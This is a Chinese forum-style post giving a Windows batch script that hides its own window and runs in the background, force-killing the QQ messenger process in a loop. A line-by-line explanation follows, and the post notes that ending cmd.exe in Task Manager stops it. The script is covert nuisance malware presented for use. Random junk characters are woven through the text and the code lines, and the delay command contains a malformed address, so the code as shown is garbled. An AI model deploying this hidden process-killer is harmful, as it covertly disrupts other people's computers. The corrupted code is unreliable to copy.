|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 3 u3 |! l4 j$ U3 [* E2 P- Q6 }3 p
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
6 T" `8 @0 _) A' _ J2 W; ^
; v ?* R- \8 ?# u% w@echo off " D( j6 V( K- j) q
if "%1" == "h" goto begin
2 D% ^) l( u: N$ fmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit i7 R6 v. Q8 D% u
:begin $ c5 i$ t h" }( I9 F
tasklist |find /i "QQ.exe" 8 e5 F6 B. o* T4 |* c3 }
if %errorlevel%==0 (goto killit) else (goto next)
; ?. |* Z6 ^ j2 O0 Y/ x: H:killit
7 d* I' t9 s/ _( \9 Utaskkill /f /im QQ.exe " Y! B9 f2 N; I5 }
:next 1 W6 X) i& ?% x9 }3 E E
ping -n 3 127.t >nul 2>nul * j* X; z7 D8 r1 f4 K) P
goto begin O! g- T& ~9 e+ o; P5 k' M
1 b& z6 T O, Z6 k& C _
代码到此为止
9 s0 g9 o' I7 ?! W/ {8 R n; l讲解如下: # C9 Q, G+ l C, x7 p: S4 |
@echo off ------关闭回显
$ M6 z6 ~4 X: C* e# _& Zif "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 / X5 }' S& i, E6 ]+ ]
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 1 [5 y' w( U+ L' W
:begin ------------定一段名begin 3 z, f- `( w0 }- B J2 e9 A& m
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe 5 Y3 p7 e3 }5 }0 ^, O" h
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next 8 W. a9 K- i+ J
:killit
3 P; k l, p# w& E+ _, htaskkill /f /im QQ.exe----终结进程QQ.exe
7 c5 y# J9 i" v0 M$ w0 A:next # j1 @+ e% Z0 H: |
ping -n 3 127.t >nul 2>nul -----延迟一段时间
$ A/ K7 S1 G Ugoto begin--------------返回执行begin
* s* V# ^+ p$ R5 H; N1 e; u |
|